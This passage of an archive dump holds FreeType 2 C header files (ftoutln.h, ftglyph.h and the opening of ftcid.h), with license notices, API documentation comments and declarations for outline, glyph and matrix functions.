ft_smooth_lcd_renderer_class ) FT_USE_MODULE( FT_Renderer_Class, ft_smooth_lcdv_renderer_class ) FT_USE_MODULE( FT_Module_Class, gxv_module_class ) FT_USE_MODULE( FT_Module_Class, otv_module_class ) FT_USE_MODULE( FT_Module_Class, psaux_module_class ) FT_USE_MODULE( FT_Module_Class, psnames_module_class ) /* EOF */ freetype2/freetype/ftoutln.h 0000644 00000105630 15246445047 0012160 0 ustar 00 /***************************************************************************/ /* */ /* ftoutln.h */ /* */ /* Support for the FT_Outline type used to store glyph shapes of */ /* most scalable font formats (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTOUTLN_H_ #define FTOUTLN_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* outline_processing */ /* */ /* <Title> */ /* Outline Processing */ /* */ /* <Abstract> */ /* Functions to create, transform, and render vectorial glyph images. */ /* */ /* <Description> */ /* This section contains routines used to create and destroy scalable */ /* glyph images known as `outlines'. These can also be measured, */ /* transformed, and converted into bitmaps and pixmaps. */ /* */ /* <Order> */ /* FT_Outline */ /* FT_Outline_New */ /* FT_Outline_Done */ /* FT_Outline_Copy */ /* FT_Outline_Translate */ /* FT_Outline_Transform */ /* FT_Outline_Embolden */ /* FT_Outline_EmboldenXY */ /* FT_Outline_Reverse */ /* FT_Outline_Check */ /* */ /* FT_Outline_Get_CBox */ /* FT_Outline_Get_BBox */ /* */ /* FT_Outline_Get_Bitmap */ /* FT_Outline_Render */ /* FT_Outline_Decompose */ /* FT_Outline_Funcs */ /* FT_Outline_MoveToFunc */ /* FT_Outline_LineToFunc */ /* FT_Outline_ConicToFunc */ /* FT_Outline_CubicToFunc */ /* */ /* FT_Orientation */ /* FT_Outline_Get_Orientation */ /* */ /* FT_OUTLINE_XXX */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Decompose */ /* */ /* <Description> */ /* Walk over an outline's structure to decompose it into individual */ /* segments and Bezier arcs. This function also emits `move to' */ /* operations to indicate the start of new contours in the outline. */ /* */ /* <Input> */ /* outline :: A pointer to the source target. */ /* */ /* func_interface :: A table of `emitters', i.e., function pointers */ /* called during decomposition to indicate path */ /* operations. */ /* */ /* <InOut> */ /* user :: A typeless pointer that is passed to each */ /* emitter during the decomposition. It can be */ /* used to store the state during the */ /* decomposition. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* A contour that contains a single point only is represented by a */ /* `move to' operation followed by `line to' to the same point. In */ /* most cases, it is best to filter this out before using the */ /* outline for stroking purposes (otherwise it would result in a */ /* visible dot when round caps are used). */ /* */ /* Similarly, the function returns success for an empty outline also */ /* (doing nothing, this is, not calling any emitter); if necessary, */ /* you should filter this out, too. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Decompose( FT_Outline* outline, const FT_Outline_Funcs* func_interface, void* user ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_New */ /* */ /* <Description> */ /* Create a new outline of a given size. */ /* */ /* <Input> */ /* library :: A handle to the library object from where the */ /* outline is allocated. Note however that the new */ /* outline will *not* necessarily be *freed*, when */ /* destroying the library, by @FT_Done_FreeType. */ /* */ /* numPoints :: The maximum number of points within the outline. */ /* Must be smaller than or equal to 0xFFFF (65535). */ /* */ /* numContours :: The maximum number of contours within the outline. */ /* This value must be in the range 0 to `numPoints'. */ /* */ /* <Output> */ /* anoutline :: A handle to the new outline. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The reason why this function takes a `library' parameter is simply */ /* to use the library's memory allocator. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_New( FT_Library library, FT_UInt numPoints, FT_Int numContours, FT_Outline *anoutline ); FT_EXPORT( FT_Error ) FT_Outline_New_Internal( FT_Memory memory, FT_UInt numPoints, FT_Int numContours, FT_Outline *anoutline ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Done */ /* */ /* <Description> */ /* Destroy an outline created with @FT_Outline_New. */ /* */ /* <Input> */ /* library :: A handle of the library object used to allocate the */ /* outline. */ /* */ /* outline :: A pointer to the outline object to be discarded. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* If the outline's `owner' field is not set, only the outline */ /* descriptor will be released. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Done( FT_Library library, FT_Outline* outline ); FT_EXPORT( FT_Error ) FT_Outline_Done_Internal( FT_Memory memory, FT_Outline* outline ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Check */ /* */ /* <Description> */ /* Check the contents of an outline descriptor. */ /* */ /* <Input> */ /* outline :: A handle to a source outline. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* An empty outline, or an outline with a single point only is also */ /* valid. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Check( FT_Outline* outline ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Get_CBox */ /* */ /* <Description> */ /* Return an outline's `control box'. The control box encloses all */ /* the outline's points, including Bezier control points. Though it */ /* coincides with the exact bounding box for most glyphs, it can be */ /* slightly larger in some situations (like when rotating an outline */ /* that contains Bezier outside arcs). */ /* */ /* Computing the control box is very fast, while getting the bounding */ /* box can take much more time as it needs to walk over all segments */ /* and arcs in the outline. To get the latter, you can use the */ /* `ftbbox' component, which is dedicated to this single task. */ /* */ /* <Input> */ /* outline :: A pointer to the source outline descriptor. */ /* */ /* <Output> */ /* acbox :: The outline's control box. */ /* */ /* <Note> */ /* See @FT_Glyph_Get_CBox for a discussion of tricky fonts. */ /* */ FT_EXPORT( void ) FT_Outline_Get_CBox( const FT_Outline* outline, FT_BBox *acbox ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Translate */ /* */ /* <Description> */ /* Apply a simple translation to the points of an outline. */ /* */ /* <InOut> */ /* outline :: A pointer to the target outline descriptor. */ /* */ /* <Input> */ /* xOffset :: The horizontal offset. */ /* */ /* yOffset :: The vertical offset. */ /* */ FT_EXPORT( void ) FT_Outline_Translate( const FT_Outline* outline, FT_Pos xOffset, FT_Pos yOffset ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Copy */ /* */ /* <Description> */ /* Copy an outline into another one. Both objects must have the */ /* same sizes (number of points & number of contours) when this */ /* function is called. */ /* */ /* <Input> */ /* source :: A handle to the source outline. */ /* */ /* <Output> */ /* target :: A handle to the target outline. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Copy( const FT_Outline* source, FT_Outline *target ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Transform */ /* */ /* <Description> */ /* Apply a simple 2x2 matrix to all of an outline's points. Useful */ /* for applying rotations, slanting, flipping, etc. */ /* */ /* <InOut> */ /* outline :: A pointer to the target outline descriptor. */ /* */ /* <Input> */ /* matrix :: A pointer to the transformation matrix. */ /* */ /* <Note> */ /* You can use @FT_Outline_Translate if you need to translate the */ /* outline's points. */ /* */ FT_EXPORT( void ) FT_Outline_Transform( const FT_Outline* outline, const FT_Matrix* matrix ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Embolden */ /* */ /* <Description> */ /* Embolden an outline. The new outline will be at most 4~times */ /* `strength' pixels wider and higher. You may think of the left and */ /* bottom borders as unchanged. */ /* */ /* Negative `strength' values to reduce the outline thickness are */ /* possible also. */ /* */ /* <InOut> */ /* outline :: A handle to the target outline. */ /* */ /* <Input> */ /* strength :: How strong the glyph is emboldened. Expressed in */ /* 26.6 pixel format. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The used algorithm to increase or decrease the thickness of the */ /* glyph doesn't change the number of points; this means that certain */ /* situations like acute angles or intersections are sometimes */ /* handled incorrectly. */ /* */ /* If you need `better' metrics values you should call */ /* @FT_Outline_Get_CBox or @FT_Outline_Get_BBox. */ /* */ /* Example call: */ /* */ /* { */ /* FT_Load_Glyph( face, index, FT_LOAD_DEFAULT ); */ /* if ( face->glyph->format == FT_GLYPH_FORMAT_OUTLINE ) */ /* FT_Outline_Embolden( &face->glyph->outline, strength ); */ /* } */ /* */ /* To get meaningful results, font scaling values must be set with */ /* functions like @FT_Set_Char_Size before calling FT_Render_Glyph. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Embolden( FT_Outline* outline, FT_Pos strength ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_EmboldenXY */ /* */ /* <Description> */ /* Embolden an outline. The new outline will be `xstrength' pixels */ /* wider and `ystrength' pixels higher. Otherwise, it is similar to */ /* @FT_Outline_Embolden, which uses the same strength in both */ /* directions. */ /* */ /* <Since> */ /* 2.4.10 */ /* */ FT_EXPORT( FT_Error ) FT_Outline_EmboldenXY( FT_Outline* outline, FT_Pos xstrength, FT_Pos ystrength ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Reverse */ /* */ /* <Description> */ /* Reverse the drawing direction of an outline. This is used to */ /* ensure consistent fill conventions for mirrored glyphs. */ /* */ /* <InOut> */ /* outline :: A pointer to the target outline descriptor. */ /* */ /* <Note> */ /* This function toggles the bit flag @FT_OUTLINE_REVERSE_FILL in */ /* the outline's `flags' field. */ /* */ /* It shouldn't be used by a normal client application, unless it */ /* knows what it is doing. */ /* */ FT_EXPORT( void ) FT_Outline_Reverse( FT_Outline* outline ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Get_Bitmap */ /* */ /* <Description> */ /* Render an outline within a bitmap. The outline's image is simply */ /* OR-ed to the target bitmap. */ /* */ /* <Input> */ /* library :: A handle to a FreeType library object. */ /* */ /* outline :: A pointer to the source outline descriptor. */ /* */ /* <InOut> */ /* abitmap :: A pointer to the target bitmap descriptor. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* This function does NOT CREATE the bitmap, it only renders an */ /* outline image within the one you pass to it! Consequently, the */ /* various fields in `abitmap' should be set accordingly. */ /* */ /* It will use the raster corresponding to the default glyph format. */ /* */ /* The value of the `num_grays' field in `abitmap' is ignored. If */ /* you select the gray-level rasterizer, and you want less than 256 */ /* gray levels, you have to use @FT_Outline_Render directly. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Get_Bitmap( FT_Library library, FT_Outline* outline, const FT_Bitmap *abitmap ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Render */ /* */ /* <Description> */ /* Render an outline within a bitmap using the current scan-convert. */ /* This function uses an @FT_Raster_Params structure as an argument, */ /* allowing advanced features like direct composition, translucency, */ /* etc. */ /* */ /* <Input> */ /* library :: A handle to a FreeType library object. */ /* */ /* outline :: A pointer to the source outline descriptor. */ /* */ /* <InOut> */ /* params :: A pointer to an @FT_Raster_Params structure used to */ /* describe the rendering operation. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* You should know what you are doing and how @FT_Raster_Params works */ /* to use this function. */ /* */ /* The field `params.source' will be set to `outline' before the scan */ /* converter is called, which means that the value you give to it is */ /* actually ignored. */ /* */ /* The gray-level rasterizer always uses 256 gray levels. If you */ /* want less gray levels, you have to provide your own span callback. */ /* See the @FT_RASTER_FLAG_DIRECT value of the `flags' field in the */ /* @FT_Raster_Params structure for more details. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Render( FT_Library library, FT_Outline* outline, FT_Raster_Params* params ); /************************************************************************** * * @enum: * FT_Orientation * * @description: * A list of values used to describe an outline's contour orientation. * * The TrueType and PostScript specifications use different conventions * to determine whether outline contours should be filled or unfilled. * * @values: * FT_ORIENTATION_TRUETYPE :: * According to the TrueType specification, clockwise contours must * be filled, and counter-clockwise ones must be unfilled. * * FT_ORIENTATION_POSTSCRIPT :: * According to the PostScript specification, counter-clockwise contours * must be filled, and clockwise ones must be unfilled. * * FT_ORIENTATION_FILL_RIGHT :: * This is identical to @FT_ORIENTATION_TRUETYPE, but is used to * remember that in TrueType, everything that is to the right of * the drawing direction of a contour must be filled. * * FT_ORIENTATION_FILL_LEFT :: * This is identical to @FT_ORIENTATION_POSTSCRIPT, but is used to * remember that in PostScript, everything that is to the left of * the drawing direction of a contour must be filled. * * FT_ORIENTATION_NONE :: * The orientation cannot be determined. That is, different parts of * the glyph have different orientation. * */ typedef enum FT_Orientation_ { FT_ORIENTATION_TRUETYPE = 0, FT_ORIENTATION_POSTSCRIPT = 1, FT_ORIENTATION_FILL_RIGHT = FT_ORIENTATION_TRUETYPE, FT_ORIENTATION_FILL_LEFT = FT_ORIENTATION_POSTSCRIPT, FT_ORIENTATION_NONE } FT_Orientation; /************************************************************************** * * @function: * FT_Outline_Get_Orientation * * @description: * This function analyzes a glyph outline and tries to compute its * fill orientation (see @FT_Orientation). This is done by integrating * the total area covered by the outline. The positive integral * corresponds to the clockwise orientation and @FT_ORIENTATION_POSTSCRIPT * is returned. The negative integral corresponds to the counter-clockwise * orientation and @FT_ORIENTATION_TRUETYPE is returned. * * Note that this will return @FT_ORIENTATION_TRUETYPE for empty * outlines. * * @input: * outline :: * A handle to the source outline. * * @return: * The orientation. * */ FT_EXPORT( FT_Orientation ) FT_Outline_Get_Orientation( FT_Outline* outline ); /* */ FT_END_HEADER #endif /* FTOUTLN_H_ */ /* END */ /* Local Variables: */ /* coding: utf-8 */ /* End: */ freetype2/freetype/ftglyph.h 0000644 00000114731 15246445047 0012144 0 ustar 00 /***************************************************************************/ /* */ /* ftglyph.h */ /* */ /* FreeType convenience functions to handle glyphs (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This file contains the definition of several convenience functions */ /* that can be used by client applications to easily retrieve glyph */ /* bitmaps and outlines from a given face. */ /* */ /* These functions should be optional if you are writing a font server */ /* or text layout engine on top of FreeType. However, they are pretty */ /* handy for many other simple uses of the library. */ /* */ /*************************************************************************/ #ifndef FTGLYPH_H_ #define FTGLYPH_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* glyph_management */ /* */ /* <Title> */ /* Glyph Management */ /* */ /* <Abstract> */ /* Generic interface to manage individual glyph data. */ /* */ /* <Description> */ /* This section contains definitions used to manage glyph data */ /* through generic FT_Glyph objects. Each of them can contain a */ /* bitmap, a vector outline, or even images in other formats. */ /* */ /*************************************************************************/ /* forward declaration to a private type */ typedef struct FT_Glyph_Class_ FT_Glyph_Class; /*************************************************************************/ /* */ /* <Type> */ /* FT_Glyph */ /* */ /* <Description> */ /* Handle to an object used to model generic glyph images. It is a */ /* pointer to the @FT_GlyphRec structure and can contain a glyph */ /* bitmap or pointer. */ /* */ /* <Note> */ /* Glyph objects are not owned by the library. You must thus release */ /* them manually (through @FT_Done_Glyph) _before_ calling */ /* @FT_Done_FreeType. */ /* */ typedef struct FT_GlyphRec_* FT_Glyph; /*************************************************************************/ /* */ /* <Struct> */ /* FT_GlyphRec */ /* */ /* <Description> */ /* The root glyph structure contains a given glyph image plus its */ /* advance width in 16.16 fixed-point format. */ /* */ /* <Fields> */ /* library :: A handle to the FreeType library object. */ /* */ /* clazz :: A pointer to the glyph's class. Private. */ /* */ /* format :: The format of the glyph's image. */ /* */ /* advance :: A 16.16 vector that gives the glyph's advance width. */ /* */ typedef struct FT_GlyphRec_ { FT_Library library; const FT_Glyph_Class* clazz; FT_Glyph_Format format; FT_Vector advance; } FT_GlyphRec; /*************************************************************************/ /* */ /* <Type> */ /* FT_BitmapGlyph */ /* */ /* <Description> */ /* A handle to an object used to model a bitmap glyph image. This is */ /* a sub-class of @FT_Glyph, and a pointer to @FT_BitmapGlyphRec. */ /* */ typedef struct FT_BitmapGlyphRec_* FT_BitmapGlyph; /*************************************************************************/ /* */ /* <Struct> */ /* FT_BitmapGlyphRec */ /* */ /* <Description> */ /* A structure used for bitmap glyph images. This really is a */ /* `sub-class' of @FT_GlyphRec. */ /* */ /* <Fields> */ /* root :: The root @FT_Glyph fields. */ /* */ /* left :: The left-side bearing, i.e., the horizontal distance */ /* from the current pen position to the left border of the */ /* glyph bitmap. */ /* */ /* top :: The top-side bearing, i.e., the vertical distance from */ /* the current pen position to the top border of the glyph */ /* bitmap. This distance is positive for upwards~y! */ /* */ /* bitmap :: A descriptor for the bitmap. */ /* */ /* <Note> */ /* You can typecast an @FT_Glyph to @FT_BitmapGlyph if you have */ /* `glyph->format == FT_GLYPH_FORMAT_BITMAP'. This lets you access */ /* the bitmap's contents easily. */ /* */ /* The corresponding pixel buffer is always owned by @FT_BitmapGlyph */ /* and is thus created and destroyed with it. */ /* */ typedef struct FT_BitmapGlyphRec_ { FT_GlyphRec root; FT_Int left; FT_Int top; FT_Bitmap bitmap; } FT_BitmapGlyphRec; /*************************************************************************/ /* */ /* <Type> */ /* FT_OutlineGlyph */ /* */ /* <Description> */ /* A handle to an object used to model an outline glyph image. This */ /* is a sub-class of @FT_Glyph, and a pointer to @FT_OutlineGlyphRec. */ /* */ typedef struct FT_OutlineGlyphRec_* FT_OutlineGlyph; /*************************************************************************/ /* */ /* <Struct> */ /* FT_OutlineGlyphRec */ /* */ /* <Description> */ /* A structure used for outline (vectorial) glyph images. This */ /* really is a `sub-class' of @FT_GlyphRec. */ /* */ /* <Fields> */ /* root :: The root @FT_Glyph fields. */ /* */ /* outline :: A descriptor for the outline. */ /* */ /* <Note> */ /* You can typecast an @FT_Glyph to @FT_OutlineGlyph if you have */ /* `glyph->format == FT_GLYPH_FORMAT_OUTLINE'. This lets you access */ /* the outline's content easily. */ /* */ /* As the outline is extracted from a glyph slot, its coordinates are */ /* expressed normally in 26.6 pixels, unless the flag */ /* @FT_LOAD_NO_SCALE was used in @FT_Load_Glyph() or @FT_Load_Char(). */ /* */ /* The outline's tables are always owned by the object and are */ /* destroyed with it. */ /* */ typedef struct FT_OutlineGlyphRec_ { FT_GlyphRec root; FT_Outline outline; } FT_OutlineGlyphRec; /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Glyph */ /* */ /* <Description> */ /* A function used to extract a glyph image from a slot. Note that */ /* the created @FT_Glyph object must be released with @FT_Done_Glyph. */ /* */ /* <Input> */ /* slot :: A handle to the source glyph slot. */ /* */ /* <Output> */ /* aglyph :: A handle to the glyph object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* Because `*aglyph->advance.x' and '*aglyph->advance.y' are 16.16 */ /* fixed-point numbers, `slot->advance.x' and `slot->advance.y' */ /* (which are in 26.6 fixed-point format) must be in the range */ /* ]-32768;32768[. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Glyph( FT_GlyphSlot slot, FT_Glyph *aglyph ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Glyph_Copy */ /* */ /* <Description> */ /* A function used to copy a glyph image. Note that the created */ /* @FT_Glyph object must be released with @FT_Done_Glyph. */ /* */ /* <Input> */ /* source :: A handle to the source glyph object. */ /* */ /* <Output> */ /* target :: A handle to the target glyph object. 0~in case of */ /* error. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Glyph_Copy( FT_Glyph source, FT_Glyph *target ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Glyph_Transform */ /* */ /* <Description> */ /* Transform a glyph image if its format is scalable. */ /* */ /* <InOut> */ /* glyph :: A handle to the target glyph object. */ /* */ /* <Input> */ /* matrix :: A pointer to a 2x2 matrix to apply. */ /* */ /* delta :: A pointer to a 2d vector to apply. Coordinates are */ /* expressed in 1/64th of a pixel. */ /* */ /* <Return> */ /* FreeType error code (if not 0, the glyph format is not scalable). */ /* */ /* <Note> */ /* The 2x2 transformation matrix is also applied to the glyph's */ /* advance vector. */ /* */ FT_EXPORT( FT_Error ) FT_Glyph_Transform( FT_Glyph glyph, FT_Matrix* matrix, FT_Vector* delta ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_Glyph_BBox_Mode */ /* */ /* <Description> */ /* The mode how the values of @FT_Glyph_Get_CBox are returned. */ /* */ /* <Values> */ /* FT_GLYPH_BBOX_UNSCALED :: */ /* Return unscaled font units. */ /* */ /* FT_GLYPH_BBOX_SUBPIXELS :: */ /* Return unfitted 26.6 coordinates. */ /* */ /* FT_GLYPH_BBOX_GRIDFIT :: */ /* Return grid-fitted 26.6 coordinates. */ /* */ /* FT_GLYPH_BBOX_TRUNCATE :: */ /* Return coordinates in integer pixels. */ /* */ /* FT_GLYPH_BBOX_PIXELS :: */ /* Return grid-fitted pixel coordinates. */ /* */ typedef enum FT_Glyph_BBox_Mode_ { FT_GLYPH_BBOX_UNSCALED = 0, FT_GLYPH_BBOX_SUBPIXELS = 0, FT_GLYPH_BBOX_GRIDFIT = 1, FT_GLYPH_BBOX_TRUNCATE = 2, FT_GLYPH_BBOX_PIXELS = 3 } FT_Glyph_BBox_Mode; /* these constants are deprecated; use the corresponding */ /* `FT_Glyph_BBox_Mode' values instead */ #define ft_glyph_bbox_unscaled FT_GLYPH_BBOX_UNSCALED #define ft_glyph_bbox_subpixels FT_GLYPH_BBOX_SUBPIXELS #define ft_glyph_bbox_gridfit FT_GLYPH_BBOX_GRIDFIT #define ft_glyph_bbox_truncate FT_GLYPH_BBOX_TRUNCATE #define ft_glyph_bbox_pixels FT_GLYPH_BBOX_PIXELS /*************************************************************************/ /* */ /* <Function> */ /* FT_Glyph_Get_CBox */ /* */ /* <Description> */ /* Return a glyph's `control box'. The control box encloses all the */ /* outline's points, including Bezier control points. Though it */ /* coincides with the exact bounding box for most glyphs, it can be */ /* slightly larger in some situations (like when rotating an outline */ /* that contains Bezier outside arcs). */ /* */ /* Computing the control box is very fast, while getting the bounding */ /* box can take much more time as it needs to walk over all segments */ /* and arcs in the outline. To get the latter, you can use the */ /* `ftbbox' component, which is dedicated to this single task. */ /* */ /* <Input> */ /* glyph :: A handle to the source glyph object. */ /* */ /* mode :: The mode that indicates how to interpret the returned */ /* bounding box values. */ /* */ /* <Output> */ /* acbox :: The glyph coordinate bounding box. Coordinates are */ /* expressed in 1/64th of pixels if it is grid-fitted. */ /* */ /* <Note> */ /* Coordinates are relative to the glyph origin, using the y~upwards */ /* convention. */ /* */ /* If the glyph has been loaded with @FT_LOAD_NO_SCALE, `bbox_mode' */ /* must be set to @FT_GLYPH_BBOX_UNSCALED to get unscaled font */ /* units in 26.6 pixel format. The value @FT_GLYPH_BBOX_SUBPIXELS */ /* is another name for this constant. */ /* */ /* If the font is tricky and the glyph has been loaded with */ /* @FT_LOAD_NO_SCALE, the resulting CBox is meaningless. To get */ /* reasonable values for the CBox it is necessary to load the glyph */ /* at a large ppem value (so that the hinting instructions can */ /* properly shift and scale the subglyphs), then extracting the CBox, */ /* which can be eventually converted back to font units. */ /* */ /* Note that the maximum coordinates are exclusive, which means that */ /* one can compute the width and height of the glyph image (be it in */ /* integer or 26.6 pixels) as: */ /* */ /* { */ /* width = bbox.xMax - bbox.xMin; */ /* height = bbox.yMax - bbox.yMin; */ /* } */ /* */ /* Note also that for 26.6 coordinates, if `bbox_mode' is set to */ /* @FT_GLYPH_BBOX_GRIDFIT, the coordinates will also be grid-fitted, */ /* which corresponds to: */ /* */ /* { */ /* bbox.xMin = FLOOR(bbox.xMin); */ /* bbox.yMin = FLOOR(bbox.yMin); */ /* bbox.xMax = CEILING(bbox.xMax); */ /* bbox.yMax = CEILING(bbox.yMax); */ /* } */ /* */ /* To get the bbox in pixel coordinates, set `bbox_mode' to */ /* @FT_GLYPH_BBOX_TRUNCATE. */ /* */ /* To get the bbox in grid-fitted pixel coordinates, set `bbox_mode' */ /* to @FT_GLYPH_BBOX_PIXELS. */ /* */ FT_EXPORT( void ) FT_Glyph_Get_CBox( FT_Glyph glyph, FT_UInt bbox_mode, FT_BBox *acbox ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Glyph_To_Bitmap */ /* */ /* <Description> */ /* Convert a given glyph object to a bitmap glyph object. */ /* */ /* <InOut> */ /* the_glyph :: A pointer to a handle to the target glyph. */ /* */ /* <Input> */ /* render_mode :: An enumeration that describes how the data is */ /* rendered. */ /* */ /* origin :: A pointer to a vector used to translate the glyph */ /* image before rendering. Can be~0 (if no */ /* translation). The origin is expressed in */ /* 26.6 pixels. */ /* */ /* destroy :: A boolean that indicates that the original glyph */ /* image should be destroyed by this function. It is */ /* never destroyed in case of error. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* This function does nothing if the glyph format isn't scalable. */ /* */ /* The glyph image is translated with the `origin' vector before */ /* rendering. */ /* */ /* The first parameter is a pointer to an @FT_Glyph handle, that will */ /* be _replaced_ by this function (with newly allocated data). */ /* Typically, you would use (omitting error handling): */ /* */ /* */ /* { */ /* FT_Glyph glyph; */ /* FT_BitmapGlyph glyph_bitmap; */ /* */ /* */ /* // load glyph */ /* error = FT_Load_Char( face, glyph_index, FT_LOAD_DEFAULT ); */ /* */ /* // extract glyph image */ /* error = FT_Get_Glyph( face->glyph, &glyph ); */ /* */ /* // convert to a bitmap (default render mode + destroying old) */ /* if ( glyph->format != FT_GLYPH_FORMAT_BITMAP ) */ /* { */ /* error = FT_Glyph_To_Bitmap( &glyph, FT_RENDER_MODE_NORMAL, */ /* 0, 1 ); */ /* if ( error ) // `glyph' unchanged */ /* ... */ /* } */ /* */ /* // access bitmap content by typecasting */ /* glyph_bitmap = (FT_BitmapGlyph)glyph; */ /* */ /* // do funny stuff with it, like blitting/drawing */ /* ... */ /* */ /* // discard glyph image (bitmap or not) */ /* FT_Done_Glyph( glyph ); */ /* } */ /* */ /* */ /* Here another example, again without error handling: */ /* */ /* */ /* { */ /* FT_Glyph glyphs[MAX_GLYPHS] */ /* */ /* */ /* ... */ /* */ /* for ( idx = 0; i < MAX_GLYPHS; i++ ) */ /* error = FT_Load_Glyph( face, idx, FT_LOAD_DEFAULT ) || */ /* FT_Get_Glyph ( face->glyph, &glyph[idx] ); */ /* */ /* ... */ /* */ /* for ( idx = 0; i < MAX_GLYPHS; i++ ) */ /* { */ /* FT_Glyph bitmap = glyphs[idx]; */ /* */ /* */ /* ... */ /* */ /* // after this call, `bitmap' no longer points into */ /* // the `glyphs' array (and the old value isn't destroyed) */ /* FT_Glyph_To_Bitmap( &bitmap, FT_RENDER_MODE_MONO, 0, 0 ); */ /* */ /* ... */ /* */ /* FT_Done_Glyph( bitmap ); */ /* } */ /* */ /* ... */ /* */ /* for ( idx = 0; i < MAX_GLYPHS; i++ ) */ /* FT_Done_Glyph( glyphs[idx] ); */ /* } */ /* */ FT_EXPORT( FT_Error ) FT_Glyph_To_Bitmap( FT_Glyph* the_glyph, FT_Render_Mode render_mode, FT_Vector* origin, FT_Bool destroy ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Done_Glyph */ /* */ /* <Description> */ /* Destroy a given glyph. */ /* */ /* <Input> */ /* glyph :: A handle to the target glyph object. */ /* */ FT_EXPORT( void ) FT_Done_Glyph( FT_Glyph glyph ); /* */ /* other helpful functions */ /*************************************************************************/ /* */ /* <Section> */ /* computations */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Matrix_Multiply */ /* */ /* <Description> */ /* Perform the matrix operation `b = a*b'. */ /* */ /* <Input> */ /* a :: A pointer to matrix `a'. */ /* */ /* <InOut> */ /* b :: A pointer to matrix `b'. */ /* */ /* <Note> */ /* The result is undefined if either `a' or `b' is zero. */ /* */ /* Since the function uses wrap-around arithmetic, results become */ /* meaningless if the arguments are very large. */ /* */ FT_EXPORT( void ) FT_Matrix_Multiply( const FT_Matrix* a, FT_Matrix* b ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Matrix_Invert */ /* */ /* <Description> */ /* Invert a 2x2 matrix. Return an error if it can't be inverted. */ /* */ /* <InOut> */ /* matrix :: A pointer to the target matrix. Remains untouched in */ /* case of error. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Matrix_Invert( FT_Matrix* matrix ); /* */ FT_END_HEADER #endif /* FTGLYPH_H_ */ /* END */ /* Local Variables: */ /* coding: utf-8 */ /* End: */ freetype2/freetype/ftcid.h 0000644 00000013022 15246445047 0011547 0 ustar 00 /***************************************************************************/ /* */ /* ftcid.h */ /* */ /* FreeType API for accessing CID font information (specification). */ /* */ /* Copyright 2007-2018 by */ /* Dereg Clegg and Michael Toftdal. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTCID_H_ #define FTCID_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that 